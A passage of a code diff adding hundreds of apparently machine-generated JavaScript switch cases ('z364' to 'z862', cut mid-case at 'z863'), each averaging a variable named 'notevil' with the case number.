+ notevil = (notevil + 363)/2;
+ break;
+case "z364":
+ notevil = (notevil + 364)/2;
+ break;
+case "z365":
+ notevil = (notevil + 365)/2;
+ break;
+case "z366":
+ notevil = (notevil + 366)/2;
+ break;
+case "z367":
+ notevil = (notevil + 367)/2;
+ break;
+case "z368":
+ notevil = (notevil + 368)/2;
+ break;
+case "z369":
+ notevil = (notevil + 369)/2;
+ break;
+case "z370":
+ notevil = (notevil + 370)/2;
+ break;
+case "z371":
+ notevil = (notevil + 371)/2;
+ break;
+case "z372":
+ notevil = (notevil + 372)/2;
+ break;
+case "z373":
+ notevil = (notevil + 373)/2;
+ break;
+case "z374":
+ notevil = (notevil + 374)/2;
+ break;
+case "z375":
+ notevil = (notevil + 375)/2;
+ break;
+case "z376":
+ notevil = (notevil + 376)/2;
+ break;
+case "z377":
+ notevil = (notevil + 377)/2;
+ break;
+case "z378":
+ notevil = (notevil + 378)/2;
+ break;
+case "z379":
+ notevil = (notevil + 379)/2;
+ break;
+case "z380":
+ notevil = (notevil + 380)/2;
+ break;
+case "z381":
+ notevil = (notevil + 381)/2;
+ break;
+case "z382":
+ notevil = (notevil + 382)/2;
+ break;
+case "z383":
+ notevil = (notevil + 383)/2;
+ break;
+case "z384":
+ notevil = (notevil + 384)/2;
+ break;
+case "z385":
+ notevil = (notevil + 385)/2;
+ break;
+case "z386":
+ notevil = (notevil + 386)/2;
+ break;
+case "z387":
+ notevil = (notevil + 387)/2;
+ break;
+case "z388":
+ notevil = (notevil + 388)/2;
+ break;
+case "z389":
+ notevil = (notevil + 389)/2;
+ break;
+case "z390":
+ notevil = (notevil + 390)/2;
+ break;
+case "z391":
+ notevil = (notevil + 391)/2;
+ break;
+case "z392":
+ notevil = (notevil + 392)/2;
+ break;
+case "z393":
+ notevil = (notevil + 393)/2;
+ break;
+case "z394":
+ notevil = (notevil + 394)/2;
+ break;
+case "z395":
+ notevil = (notevil + 395)/2;
+ break;
+case "z396":
+ notevil = (notevil + 396)/2;
+ break;
+case "z397":
+ notevil = (notevil + 397)/2;
+ break;
+case "z398":
+ notevil = (notevil + 398)/2;
+ break;
+case "z399":
+ notevil = (notevil + 399)/2;
+ break;
+case "z400":
+ notevil = (notevil + 400)/2;
+ break;
+case "z401":
+ notevil = (notevil + 401)/2;
+ break;
+case "z402":
+ notevil = (notevil + 402)/2;
+ break;
+case "z403":
+ notevil = (notevil + 403)/2;
+ break;
+case "z404":
+ notevil = (notevil + 404)/2;
+ break;
+case "z405":
+ notevil = (notevil + 405)/2;
+ break;
+case "z406":
+ notevil = (notevil + 406)/2;
+ break;
+case "z407":
+ notevil = (notevil + 407)/2;
+ break;
+case "z408":
+ notevil = (notevil + 408)/2;
+ break;
+case "z409":
+ notevil = (notevil + 409)/2;
+ break;
+case "z410":
+ notevil = (notevil + 410)/2;
+ break;
+case "z411":
+ notevil = (notevil + 411)/2;
+ break;
+case "z412":
+ notevil = (notevil + 412)/2;
+ break;
+case "z413":
+ notevil = (notevil + 413)/2;
+ break;
+case "z414":
+ notevil = (notevil + 414)/2;
+ break;
+case "z415":
+ notevil = (notevil + 415)/2;
+ break;
+case "z416":
+ notevil = (notevil + 416)/2;
+ break;
+case "z417":
+ notevil = (notevil + 417)/2;
+ break;
+case "z418":
+ notevil = (notevil + 418)/2;
+ break;
+case "z419":
+ notevil = (notevil + 419)/2;
+ break;
+case "z420":
+ notevil = (notevil + 420)/2;
+ break;
+case "z421":
+ notevil = (notevil + 421)/2;
+ break;
+case "z422":
+ notevil = (notevil + 422)/2;
+ break;
+case "z423":
+ notevil = (notevil + 423)/2;
+ break;
+case "z424":
+ notevil = (notevil + 424)/2;
+ break;
+case "z425":
+ notevil = (notevil + 425)/2;
+ break;
+case "z426":
+ notevil = (notevil + 426)/2;
+ break;
+case "z427":
+ notevil = (notevil + 427)/2;
+ break;
+case "z428":
+ notevil = (notevil + 428)/2;
+ break;
+case "z429":
+ notevil = (notevil + 429)/2;
+ break;
+case "z430":
+ notevil = (notevil + 430)/2;
+ break;
+case "z431":
+ notevil = (notevil + 431)/2;
+ break;
+case "z432":
+ notevil = (notevil + 432)/2;
+ break;
+case "z433":
+ notevil = (notevil + 433)/2;
+ break;
+case "z434":
+ notevil = (notevil + 434)/2;
+ break;
+case "z435":
+ notevil = (notevil + 435)/2;
+ break;
+case "z436":
+ notevil = (notevil + 436)/2;
+ break;
+case "z437":
+ notevil = (notevil + 437)/2;
+ break;
+case "z438":
+ notevil = (notevil + 438)/2;
+ break;
+case "z439":
+ notevil = (notevil + 439)/2;
+ break;
+case "z440":
+ notevil = (notevil + 440)/2;
+ break;
+case "z441":
+ notevil = (notevil + 441)/2;
+ break;
+case "z442":
+ notevil = (notevil + 442)/2;
+ break;
+case "z443":
+ notevil = (notevil + 443)/2;
+ break;
+case "z444":
+ notevil = (notevil + 444)/2;
+ break;
+case "z445":
+ notevil = (notevil + 445)/2;
+ break;
+case "z446":
+ notevil = (notevil + 446)/2;
+ break;
+case "z447":
+ notevil = (notevil + 447)/2;
+ break;
+case "z448":
+ notevil = (notevil + 448)/2;
+ break;
+case "z449":
+ notevil = (notevil + 449)/2;
+ break;
+case "z450":
+ notevil = (notevil + 450)/2;
+ break;
+case "z451":
+ notevil = (notevil + 451)/2;
+ break;
+case "z452":
+ notevil = (notevil + 452)/2;
+ break;
+case "z453":
+ notevil = (notevil + 453)/2;
+ break;
+case "z454":
+ notevil = (notevil + 454)/2;
+ break;
+case "z455":
+ notevil = (notevil + 455)/2;
+ break;
+case "z456":
+ notevil = (notevil + 456)/2;
+ break;
+case "z457":
+ notevil = (notevil + 457)/2;
+ break;
+case "z458":
+ notevil = (notevil + 458)/2;
+ break;
+case "z459":
+ notevil = (notevil + 459)/2;
+ break;
+case "z460":
+ notevil = (notevil + 460)/2;
+ break;
+case "z461":
+ notevil = (notevil + 461)/2;
+ break;
+case "z462":
+ notevil = (notevil + 462)/2;
+ break;
+case "z463":
+ notevil = (notevil + 463)/2;
+ break;
+case "z464":
+ notevil = (notevil + 464)/2;
+ break;
+case "z465":
+ notevil = (notevil + 465)/2;
+ break;
+case "z466":
+ notevil = (notevil + 466)/2;
+ break;
+case "z467":
+ notevil = (notevil + 467)/2;
+ break;
+case "z468":
+ notevil = (notevil + 468)/2;
+ break;
+case "z469":
+ notevil = (notevil + 469)/2;
+ break;
+case "z470":
+ notevil = (notevil + 470)/2;
+ break;
+case "z471":
+ notevil = (notevil + 471)/2;
+ break;
+case "z472":
+ notevil = (notevil + 472)/2;
+ break;
+case "z473":
+ notevil = (notevil + 473)/2;
+ break;
+case "z474":
+ notevil = (notevil + 474)/2;
+ break;
+case "z475":
+ notevil = (notevil + 475)/2;
+ break;
+case "z476":
+ notevil = (notevil + 476)/2;
+ break;
+case "z477":
+ notevil = (notevil + 477)/2;
+ break;
+case "z478":
+ notevil = (notevil + 478)/2;
+ break;
+case "z479":
+ notevil = (notevil + 479)/2;
+ break;
+case "z480":
+ notevil = (notevil + 480)/2;
+ break;
+case "z481":
+ notevil = (notevil + 481)/2;
+ break;
+case "z482":
+ notevil = (notevil + 482)/2;
+ break;
+case "z483":
+ notevil = (notevil + 483)/2;
+ break;
+case "z484":
+ notevil = (notevil + 484)/2;
+ break;
+case "z485":
+ notevil = (notevil + 485)/2;
+ break;
+case "z486":
+ notevil = (notevil + 486)/2;
+ break;
+case "z487":
+ notevil = (notevil + 487)/2;
+ break;
+case "z488":
+ notevil = (notevil + 488)/2;
+ break;
+case "z489":
+ notevil = (notevil + 489)/2;
+ break;
+case "z490":
+ notevil = (notevil + 490)/2;
+ break;
+case "z491":
+ notevil = (notevil + 491)/2;
+ break;
+case "z492":
+ notevil = (notevil + 492)/2;
+ break;
+case "z493":
+ notevil = (notevil + 493)/2;
+ break;
+case "z494":
+ notevil = (notevil + 494)/2;
+ break;
+case "z495":
+ notevil = (notevil + 495)/2;
+ break;
+case "z496":
+ notevil = (notevil + 496)/2;
+ break;
+case "z497":
+ notevil = (notevil + 497)/2;
+ break;
+case "z498":
+ notevil = (notevil + 498)/2;
+ break;
+case "z499":
+ notevil = (notevil + 499)/2;
+ break;
+case "z500":
+ notevil = (notevil + 500)/2;
+ break;
+case "z501":
+ notevil = (notevil + 501)/2;
+ break;
+case "z502":
+ notevil = (notevil + 502)/2;
+ break;
+case "z503":
+ notevil = (notevil + 503)/2;
+ break;
+case "z504":
+ notevil = (notevil + 504)/2;
+ break;
+case "z505":
+ notevil = (notevil + 505)/2;
+ break;
+case "z506":
+ notevil = (notevil + 506)/2;
+ break;
+case "z507":
+ notevil = (notevil + 507)/2;
+ break;
+case "z508":
+ notevil = (notevil + 508)/2;
+ break;
+case "z509":
+ notevil = (notevil + 509)/2;
+ break;
+case "z510":
+ notevil = (notevil + 510)/2;
+ break;
+case "z511":
+ notevil = (notevil + 511)/2;
+ break;
+case "z512":
+ notevil = (notevil + 512)/2;
+ break;
+case "z513":
+ notevil = (notevil + 513)/2;
+ break;
+case "z514":
+ notevil = (notevil + 514)/2;
+ break;
+case "z515":
+ notevil = (notevil + 515)/2;
+ break;
+case "z516":
+ notevil = (notevil + 516)/2;
+ break;
+case "z517":
+ notevil = (notevil + 517)/2;
+ break;
+case "z518":
+ notevil = (notevil + 518)/2;
+ break;
+case "z519":
+ notevil = (notevil + 519)/2;
+ break;
+case "z520":
+ notevil = (notevil + 520)/2;
+ break;
+case "z521":
+ notevil = (notevil + 521)/2;
+ break;
+case "z522":
+ notevil = (notevil + 522)/2;
+ break;
+case "z523":
+ notevil = (notevil + 523)/2;
+ break;
+case "z524":
+ notevil = (notevil + 524)/2;
+ break;
+case "z525":
+ notevil = (notevil + 525)/2;
+ break;
+case "z526":
+ notevil = (notevil + 526)/2;
+ break;
+case "z527":
+ notevil = (notevil + 527)/2;
+ break;
+case "z528":
+ notevil = (notevil + 528)/2;
+ break;
+case "z529":
+ notevil = (notevil + 529)/2;
+ break;
+case "z530":
+ notevil = (notevil + 530)/2;
+ break;
+case "z531":
+ notevil = (notevil + 531)/2;
+ break;
+case "z532":
+ notevil = (notevil + 532)/2;
+ break;
+case "z533":
+ notevil = (notevil + 533)/2;
+ break;
+case "z534":
+ notevil = (notevil + 534)/2;
+ break;
+case "z535":
+ notevil = (notevil + 535)/2;
+ break;
+case "z536":
+ notevil = (notevil + 536)/2;
+ break;
+case "z537":
+ notevil = (notevil + 537)/2;
+ break;
+case "z538":
+ notevil = (notevil + 538)/2;
+ break;
+case "z539":
+ notevil = (notevil + 539)/2;
+ break;
+case "z540":
+ notevil = (notevil + 540)/2;
+ break;
+case "z541":
+ notevil = (notevil + 541)/2;
+ break;
+case "z542":
+ notevil = (notevil + 542)/2;
+ break;
+case "z543":
+ notevil = (notevil + 543)/2;
+ break;
+case "z544":
+ notevil = (notevil + 544)/2;
+ break;
+case "z545":
+ notevil = (notevil + 545)/2;
+ break;
+case "z546":
+ notevil = (notevil + 546)/2;
+ break;
+case "z547":
+ notevil = (notevil + 547)/2;
+ break;
+case "z548":
+ notevil = (notevil + 548)/2;
+ break;
+case "z549":
+ notevil = (notevil + 549)/2;
+ break;
+case "z550":
+ notevil = (notevil + 550)/2;
+ break;
+case "z551":
+ notevil = (notevil + 551)/2;
+ break;
+case "z552":
+ notevil = (notevil + 552)/2;
+ break;
+case "z553":
+ notevil = (notevil + 553)/2;
+ break;
+case "z554":
+ notevil = (notevil + 554)/2;
+ break;
+case "z555":
+ notevil = (notevil + 555)/2;
+ break;
+case "z556":
+ notevil = (notevil + 556)/2;
+ break;
+case "z557":
+ notevil = (notevil + 557)/2;
+ break;
+case "z558":
+ notevil = (notevil + 558)/2;
+ break;
+case "z559":
+ notevil = (notevil + 559)/2;
+ break;
+case "z560":
+ notevil = (notevil + 560)/2;
+ break;
+case "z561":
+ notevil = (notevil + 561)/2;
+ break;
+case "z562":
+ notevil = (notevil + 562)/2;
+ break;
+case "z563":
+ notevil = (notevil + 563)/2;
+ break;
+case "z564":
+ notevil = (notevil + 564)/2;
+ break;
+case "z565":
+ notevil = (notevil + 565)/2;
+ break;
+case "z566":
+ notevil = (notevil + 566)/2;
+ break;
+case "z567":
+ notevil = (notevil + 567)/2;
+ break;
+case "z568":
+ notevil = (notevil + 568)/2;
+ break;
+case "z569":
+ notevil = (notevil + 569)/2;
+ break;
+case "z570":
+ notevil = (notevil + 570)/2;
+ break;
+case "z571":
+ notevil = (notevil + 571)/2;
+ break;
+case "z572":
+ notevil = (notevil + 572)/2;
+ break;
+case "z573":
+ notevil = (notevil + 573)/2;
+ break;
+case "z574":
+ notevil = (notevil + 574)/2;
+ break;
+case "z575":
+ notevil = (notevil + 575)/2;
+ break;
+case "z576":
+ notevil = (notevil + 576)/2;
+ break;
+case "z577":
+ notevil = (notevil + 577)/2;
+ break;
+case "z578":
+ notevil = (notevil + 578)/2;
+ break;
+case "z579":
+ notevil = (notevil + 579)/2;
+ break;
+case "z580":
+ notevil = (notevil + 580)/2;
+ break;
+case "z581":
+ notevil = (notevil + 581)/2;
+ break;
+case "z582":
+ notevil = (notevil + 582)/2;
+ break;
+case "z583":
+ notevil = (notevil + 583)/2;
+ break;
+case "z584":
+ notevil = (notevil + 584)/2;
+ break;
+case "z585":
+ notevil = (notevil + 585)/2;
+ break;
+case "z586":
+ notevil = (notevil + 586)/2;
+ break;
+case "z587":
+ notevil = (notevil + 587)/2;
+ break;
+case "z588":
+ notevil = (notevil + 588)/2;
+ break;
+case "z589":
+ notevil = (notevil + 589)/2;
+ break;
+case "z590":
+ notevil = (notevil + 590)/2;
+ break;
+case "z591":
+ notevil = (notevil + 591)/2;
+ break;
+case "z592":
+ notevil = (notevil + 592)/2;
+ break;
+case "z593":
+ notevil = (notevil + 593)/2;
+ break;
+case "z594":
+ notevil = (notevil + 594)/2;
+ break;
+case "z595":
+ notevil = (notevil + 595)/2;
+ break;
+case "z596":
+ notevil = (notevil + 596)/2;
+ break;
+case "z597":
+ notevil = (notevil + 597)/2;
+ break;
+case "z598":
+ notevil = (notevil + 598)/2;
+ break;
+case "z599":
+ notevil = (notevil + 599)/2;
+ break;
+case "z600":
+ notevil = (notevil + 600)/2;
+ break;
+case "z601":
+ notevil = (notevil + 601)/2;
+ break;
+case "z602":
+ notevil = (notevil + 602)/2;
+ break;
+case "z603":
+ notevil = (notevil + 603)/2;
+ break;
+case "z604":
+ notevil = (notevil + 604)/2;
+ break;
+case "z605":
+ notevil = (notevil + 605)/2;
+ break;
+case "z606":
+ notevil = (notevil + 606)/2;
+ break;
+case "z607":
+ notevil = (notevil + 607)/2;
+ break;
+case "z608":
+ notevil = (notevil + 608)/2;
+ break;
+case "z609":
+ notevil = (notevil + 609)/2;
+ break;
+case "z610":
+ notevil = (notevil + 610)/2;
+ break;
+case "z611":
+ notevil = (notevil + 611)/2;
+ break;
+case "z612":
+ notevil = (notevil + 612)/2;
+ break;
+case "z613":
+ notevil = (notevil + 613)/2;
+ break;
+case "z614":
+ notevil = (notevil + 614)/2;
+ break;
+case "z615":
+ notevil = (notevil + 615)/2;
+ break;
+case "z616":
+ notevil = (notevil + 616)/2;
+ break;
+case "z617":
+ notevil = (notevil + 617)/2;
+ break;
+case "z618":
+ notevil = (notevil + 618)/2;
+ break;
+case "z619":
+ notevil = (notevil + 619)/2;
+ break;
+case "z620":
+ notevil = (notevil + 620)/2;
+ break;
+case "z621":
+ notevil = (notevil + 621)/2;
+ break;
+case "z622":
+ notevil = (notevil + 622)/2;
+ break;
+case "z623":
+ notevil = (notevil + 623)/2;
+ break;
+case "z624":
+ notevil = (notevil + 624)/2;
+ break;
+case "z625":
+ notevil = (notevil + 625)/2;
+ break;
+case "z626":
+ notevil = (notevil + 626)/2;
+ break;
+case "z627":
+ notevil = (notevil + 627)/2;
+ break;
+case "z628":
+ notevil = (notevil + 628)/2;
+ break;
+case "z629":
+ notevil = (notevil + 629)/2;
+ break;
+case "z630":
+ notevil = (notevil + 630)/2;
+ break;
+case "z631":
+ notevil = (notevil + 631)/2;
+ break;
+case "z632":
+ notevil = (notevil + 632)/2;
+ break;
+case "z633":
+ notevil = (notevil + 633)/2;
+ break;
+case "z634":
+ notevil = (notevil + 634)/2;
+ break;
+case "z635":
+ notevil = (notevil + 635)/2;
+ break;
+case "z636":
+ notevil = (notevil + 636)/2;
+ break;
+case "z637":
+ notevil = (notevil + 637)/2;
+ break;
+case "z638":
+ notevil = (notevil + 638)/2;
+ break;
+case "z639":
+ notevil = (notevil + 639)/2;
+ break;
+case "z640":
+ notevil = (notevil + 640)/2;
+ break;
+case "z641":
+ notevil = (notevil + 641)/2;
+ break;
+case "z642":
+ notevil = (notevil + 642)/2;
+ break;
+case "z643":
+ notevil = (notevil + 643)/2;
+ break;
+case "z644":
+ notevil = (notevil + 644)/2;
+ break;
+case "z645":
+ notevil = (notevil + 645)/2;
+ break;
+case "z646":
+ notevil = (notevil + 646)/2;
+ break;
+case "z647":
+ notevil = (notevil + 647)/2;
+ break;
+case "z648":
+ notevil = (notevil + 648)/2;
+ break;
+case "z649":
+ notevil = (notevil + 649)/2;
+ break;
+case "z650":
+ notevil = (notevil + 650)/2;
+ break;
+case "z651":
+ notevil = (notevil + 651)/2;
+ break;
+case "z652":
+ notevil = (notevil + 652)/2;
+ break;
+case "z653":
+ notevil = (notevil + 653)/2;
+ break;
+case "z654":
+ notevil = (notevil + 654)/2;
+ break;
+case "z655":
+ notevil = (notevil + 655)/2;
+ break;
+case "z656":
+ notevil = (notevil + 656)/2;
+ break;
+case "z657":
+ notevil = (notevil + 657)/2;
+ break;
+case "z658":
+ notevil = (notevil + 658)/2;
+ break;
+case "z659":
+ notevil = (notevil + 659)/2;
+ break;
+case "z660":
+ notevil = (notevil + 660)/2;
+ break;
+case "z661":
+ notevil = (notevil + 661)/2;
+ break;
+case "z662":
+ notevil = (notevil + 662)/2;
+ break;
+case "z663":
+ notevil = (notevil + 663)/2;
+ break;
+case "z664":
+ notevil = (notevil + 664)/2;
+ break;
+case "z665":
+ notevil = (notevil + 665)/2;
+ break;
+case "z666":
+ notevil = (notevil + 666)/2;
+ break;
+case "z667":
+ notevil = (notevil + 667)/2;
+ break;
+case "z668":
+ notevil = (notevil + 668)/2;
+ break;
+case "z669":
+ notevil = (notevil + 669)/2;
+ break;
+case "z670":
+ notevil = (notevil + 670)/2;
+ break;
+case "z671":
+ notevil = (notevil + 671)/2;
+ break;
+case "z672":
+ notevil = (notevil + 672)/2;
+ break;
+case "z673":
+ notevil = (notevil + 673)/2;
+ break;
+case "z674":
+ notevil = (notevil + 674)/2;
+ break;
+case "z675":
+ notevil = (notevil + 675)/2;
+ break;
+case "z676":
+ notevil = (notevil + 676)/2;
+ break;
+case "z677":
+ notevil = (notevil + 677)/2;
+ break;
+case "z678":
+ notevil = (notevil + 678)/2;
+ break;
+case "z679":
+ notevil = (notevil + 679)/2;
+ break;
+case "z680":
+ notevil = (notevil + 680)/2;
+ break;
+case "z681":
+ notevil = (notevil + 681)/2;
+ break;
+case "z682":
+ notevil = (notevil + 682)/2;
+ break;
+case "z683":
+ notevil = (notevil + 683)/2;
+ break;
+case "z684":
+ notevil = (notevil + 684)/2;
+ break;
+case "z685":
+ notevil = (notevil + 685)/2;
+ break;
+case "z686":
+ notevil = (notevil + 686)/2;
+ break;
+case "z687":
+ notevil = (notevil + 687)/2;
+ break;
+case "z688":
+ notevil = (notevil + 688)/2;
+ break;
+case "z689":
+ notevil = (notevil + 689)/2;
+ break;
+case "z690":
+ notevil = (notevil + 690)/2;
+ break;
+case "z691":
+ notevil = (notevil + 691)/2;
+ break;
+case "z692":
+ notevil = (notevil + 692)/2;
+ break;
+case "z693":
+ notevil = (notevil + 693)/2;
+ break;
+case "z694":
+ notevil = (notevil + 694)/2;
+ break;
+case "z695":
+ notevil = (notevil + 695)/2;
+ break;
+case "z696":
+ notevil = (notevil + 696)/2;
+ break;
+case "z697":
+ notevil = (notevil + 697)/2;
+ break;
+case "z698":
+ notevil = (notevil + 698)/2;
+ break;
+case "z699":
+ notevil = (notevil + 699)/2;
+ break;
+case "z700":
+ notevil = (notevil + 700)/2;
+ break;
+case "z701":
+ notevil = (notevil + 701)/2;
+ break;
+case "z702":
+ notevil = (notevil + 702)/2;
+ break;
+case "z703":
+ notevil = (notevil + 703)/2;
+ break;
+case "z704":
+ notevil = (notevil + 704)/2;
+ break;
+case "z705":
+ notevil = (notevil + 705)/2;
+ break;
+case "z706":
+ notevil = (notevil + 706)/2;
+ break;
+case "z707":
+ notevil = (notevil + 707)/2;
+ break;
+case "z708":
+ notevil = (notevil + 708)/2;
+ break;
+case "z709":
+ notevil = (notevil + 709)/2;
+ break;
+case "z710":
+ notevil = (notevil + 710)/2;
+ break;
+case "z711":
+ notevil = (notevil + 711)/2;
+ break;
+case "z712":
+ notevil = (notevil + 712)/2;
+ break;
+case "z713":
+ notevil = (notevil + 713)/2;
+ break;
+case "z714":
+ notevil = (notevil + 714)/2;
+ break;
+case "z715":
+ notevil = (notevil + 715)/2;
+ break;
+case "z716":
+ notevil = (notevil + 716)/2;
+ break;
+case "z717":
+ notevil = (notevil + 717)/2;
+ break;
+case "z718":
+ notevil = (notevil + 718)/2;
+ break;
+case "z719":
+ notevil = (notevil + 719)/2;
+ break;
+case "z720":
+ notevil = (notevil + 720)/2;
+ break;
+case "z721":
+ notevil = (notevil + 721)/2;
+ break;
+case "z722":
+ notevil = (notevil + 722)/2;
+ break;
+case "z723":
+ notevil = (notevil + 723)/2;
+ break;
+case "z724":
+ notevil = (notevil + 724)/2;
+ break;
+case "z725":
+ notevil = (notevil + 725)/2;
+ break;
+case "z726":
+ notevil = (notevil + 726)/2;
+ break;
+case "z727":
+ notevil = (notevil + 727)/2;
+ break;
+case "z728":
+ notevil = (notevil + 728)/2;
+ break;
+case "z729":
+ notevil = (notevil + 729)/2;
+ break;
+case "z730":
+ notevil = (notevil + 730)/2;
+ break;
+case "z731":
+ notevil = (notevil + 731)/2;
+ break;
+case "z732":
+ notevil = (notevil + 732)/2;
+ break;
+case "z733":
+ notevil = (notevil + 733)/2;
+ break;
+case "z734":
+ notevil = (notevil + 734)/2;
+ break;
+case "z735":
+ notevil = (notevil + 735)/2;
+ break;
+case "z736":
+ notevil = (notevil + 736)/2;
+ break;
+case "z737":
+ notevil = (notevil + 737)/2;
+ break;
+case "z738":
+ notevil = (notevil + 738)/2;
+ break;
+case "z739":
+ notevil = (notevil + 739)/2;
+ break;
+case "z740":
+ notevil = (notevil + 740)/2;
+ break;
+case "z741":
+ notevil = (notevil + 741)/2;
+ break;
+case "z742":
+ notevil = (notevil + 742)/2;
+ break;
+case "z743":
+ notevil = (notevil + 743)/2;
+ break;
+case "z744":
+ notevil = (notevil + 744)/2;
+ break;
+case "z745":
+ notevil = (notevil + 745)/2;
+ break;
+case "z746":
+ notevil = (notevil + 746)/2;
+ break;
+case "z747":
+ notevil = (notevil + 747)/2;
+ break;
+case "z748":
+ notevil = (notevil + 748)/2;
+ break;
+case "z749":
+ notevil = (notevil + 749)/2;
+ break;
+case "z750":
+ notevil = (notevil + 750)/2;
+ break;
+case "z751":
+ notevil = (notevil + 751)/2;
+ break;
+case "z752":
+ notevil = (notevil + 752)/2;
+ break;
+case "z753":
+ notevil = (notevil + 753)/2;
+ break;
+case "z754":
+ notevil = (notevil + 754)/2;
+ break;
+case "z755":
+ notevil = (notevil + 755)/2;
+ break;
+case "z756":
+ notevil = (notevil + 756)/2;
+ break;
+case "z757":
+ notevil = (notevil + 757)/2;
+ break;
+case "z758":
+ notevil = (notevil + 758)/2;
+ break;
+case "z759":
+ notevil = (notevil + 759)/2;
+ break;
+case "z760":
+ notevil = (notevil + 760)/2;
+ break;
+case "z761":
+ notevil = (notevil + 761)/2;
+ break;
+case "z762":
+ notevil = (notevil + 762)/2;
+ break;
+case "z763":
+ notevil = (notevil + 763)/2;
+ break;
+case "z764":
+ notevil = (notevil + 764)/2;
+ break;
+case "z765":
+ notevil = (notevil + 765)/2;
+ break;
+case "z766":
+ notevil = (notevil + 766)/2;
+ break;
+case "z767":
+ notevil = (notevil + 767)/2;
+ break;
+case "z768":
+ notevil = (notevil + 768)/2;
+ break;
+case "z769":
+ notevil = (notevil + 769)/2;
+ break;
+case "z770":
+ notevil = (notevil + 770)/2;
+ break;
+case "z771":
+ notevil = (notevil + 771)/2;
+ break;
+case "z772":
+ notevil = (notevil + 772)/2;
+ break;
+case "z773":
+ notevil = (notevil + 773)/2;
+ break;
+case "z774":
+ notevil = (notevil + 774)/2;
+ break;
+case "z775":
+ notevil = (notevil + 775)/2;
+ break;
+case "z776":
+ notevil = (notevil + 776)/2;
+ break;
+case "z777":
+ notevil = (notevil + 777)/2;
+ break;
+case "z778":
+ notevil = (notevil + 778)/2;
+ break;
+case "z779":
+ notevil = (notevil + 779)/2;
+ break;
+case "z780":
+ notevil = (notevil + 780)/2;
+ break;
+case "z781":
+ notevil = (notevil + 781)/2;
+ break;
+case "z782":
+ notevil = (notevil + 782)/2;
+ break;
+case "z783":
+ notevil = (notevil + 783)/2;
+ break;
+case "z784":
+ notevil = (notevil + 784)/2;
+ break;
+case "z785":
+ notevil = (notevil + 785)/2;
+ break;
+case "z786":
+ notevil = (notevil + 786)/2;
+ break;
+case "z787":
+ notevil = (notevil + 787)/2;
+ break;
+case "z788":
+ notevil = (notevil + 788)/2;
+ break;
+case "z789":
+ notevil = (notevil + 789)/2;
+ break;
+case "z790":
+ notevil = (notevil + 790)/2;
+ break;
+case "z791":
+ notevil = (notevil + 791)/2;
+ break;
+case "z792":
+ notevil = (notevil + 792)/2;
+ break;
+case "z793":
+ notevil = (notevil + 793)/2;
+ break;
+case "z794":
+ notevil = (notevil + 794)/2;
+ break;
+case "z795":
+ notevil = (notevil + 795)/2;
+ break;
+case "z796":
+ notevil = (notevil + 796)/2;
+ break;
+case "z797":
+ notevil = (notevil + 797)/2;
+ break;
+case "z798":
+ notevil = (notevil + 798)/2;
+ break;
+case "z799":
+ notevil = (notevil + 799)/2;
+ break;
+case "z800":
+ notevil = (notevil + 800)/2;
+ break;
+case "z801":
+ notevil = (notevil + 801)/2;
+ break;
+case "z802":
+ notevil = (notevil + 802)/2;
+ break;
+case "z803":
+ notevil = (notevil + 803)/2;
+ break;
+case "z804":
+ notevil = (notevil + 804)/2;
+ break;
+case "z805":
+ notevil = (notevil + 805)/2;
+ break;
+case "z806":
+ notevil = (notevil + 806)/2;
+ break;
+case "z807":
+ notevil = (notevil + 807)/2;
+ break;
+case "z808":
+ notevil = (notevil + 808)/2;
+ break;
+case "z809":
+ notevil = (notevil + 809)/2;
+ break;
+case "z810":
+ notevil = (notevil + 810)/2;
+ break;
+case "z811":
+ notevil = (notevil + 811)/2;
+ break;
+case "z812":
+ notevil = (notevil + 812)/2;
+ break;
+case "z813":
+ notevil = (notevil + 813)/2;
+ break;
+case "z814":
+ notevil = (notevil + 814)/2;
+ break;
+case "z815":
+ notevil = (notevil + 815)/2;
+ break;
+case "z816":
+ notevil = (notevil + 816)/2;
+ break;
+case "z817":
+ notevil = (notevil + 817)/2;
+ break;
+case "z818":
+ notevil = (notevil + 818)/2;
+ break;
+case "z819":
+ notevil = (notevil + 819)/2;
+ break;
+case "z820":
+ notevil = (notevil + 820)/2;
+ break;
+case "z821":
+ notevil = (notevil + 821)/2;
+ break;
+case "z822":
+ notevil = (notevil + 822)/2;
+ break;
+case "z823":
+ notevil = (notevil + 823)/2;
+ break;
+case "z824":
+ notevil = (notevil + 824)/2;
+ break;
+case "z825":
+ notevil = (notevil + 825)/2;
+ break;
+case "z826":
+ notevil = (notevil + 826)/2;
+ break;
+case "z827":
+ notevil = (notevil + 827)/2;
+ break;
+case "z828":
+ notevil = (notevil + 828)/2;
+ break;
+case "z829":
+ notevil = (notevil + 829)/2;
+ break;
+case "z830":
+ notevil = (notevil + 830)/2;
+ break;
+case "z831":
+ notevil = (notevil + 831)/2;
+ break;
+case "z832":
+ notevil = (notevil + 832)/2;
+ break;
+case "z833":
+ notevil = (notevil + 833)/2;
+ break;
+case "z834":
+ notevil = (notevil + 834)/2;
+ break;
+case "z835":
+ notevil = (notevil + 835)/2;
+ break;
+case "z836":
+ notevil = (notevil + 836)/2;
+ break;
+case "z837":
+ notevil = (notevil + 837)/2;
+ break;
+case "z838":
+ notevil = (notevil + 838)/2;
+ break;
+case "z839":
+ notevil = (notevil + 839)/2;
+ break;
+case "z840":
+ notevil = (notevil + 840)/2;
+ break;
+case "z841":
+ notevil = (notevil + 841)/2;
+ break;
+case "z842":
+ notevil = (notevil + 842)/2;
+ break;
+case "z843":
+ notevil = (notevil + 843)/2;
+ break;
+case "z844":
+ notevil = (notevil + 844)/2;
+ break;
+case "z845":
+ notevil = (notevil + 845)/2;
+ break;
+case "z846":
+ notevil = (notevil + 846)/2;
+ break;
+case "z847":
+ notevil = (notevil + 847)/2;
+ break;
+case "z848":
+ notevil = (notevil + 848)/2;
+ break;
+case "z849":
+ notevil = (notevil + 849)/2;
+ break;
+case "z850":
+ notevil = (notevil + 850)/2;
+ break;
+case "z851":
+ notevil = (notevil + 851)/2;
+ break;
+case "z852":
+ notevil = (notevil + 852)/2;
+ break;
+case "z853":
+ notevil = (notevil + 853)/2;
+ break;
+case "z854":
+ notevil = (notevil + 854)/2;
+ break;
+case "z855":
+ notevil = (notevil + 855)/2;
+ break;
+case "z856":
+ notevil = (notevil + 856)/2;
+ break;
+case "z857":
+ notevil = (notevil + 857)/2;
+ break;
+case "z858":
+ notevil = (notevil + 858)/2;
+ break;
+case "z859":
+ notevil = (notevil + 859)/2;
+ break;
+case "z860":
+ notevil = (notevil + 860)/2;
+ break;
+case "z861":
+ notevil = (notevil + 861)/2;
+ break;
+case "z862":
+ notevil = (notevil + 862)/2;
+ break;
+case "z863":
